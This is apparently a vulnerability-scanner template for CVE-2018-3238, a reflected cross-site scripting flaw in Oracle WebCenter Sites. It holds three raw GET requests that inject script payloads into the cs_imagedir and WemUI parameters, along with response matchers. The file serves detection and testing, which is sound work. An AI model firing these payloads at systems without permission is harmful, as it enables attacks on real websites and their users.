id: CVE-2018-3238

info:
  name: Multiple XSS Oracle WebCenter Sites
  author: leovalcante
  severity: medium
  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware. The supported version that is affected is 11.1.1.8.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebCenter Sites.
  reference:
    - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3238
  tags: cve,cve2018,oracle,wcs,xss
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 6.90
    cve-id: CVE-2018-3238


requests:
  - raw:
      - |
        GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FNoXceleditor&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FProcessLoginRequest&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>/graphics/common/screen/dotclear.gif'

      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Variables.cs_imagedir'
        condition: and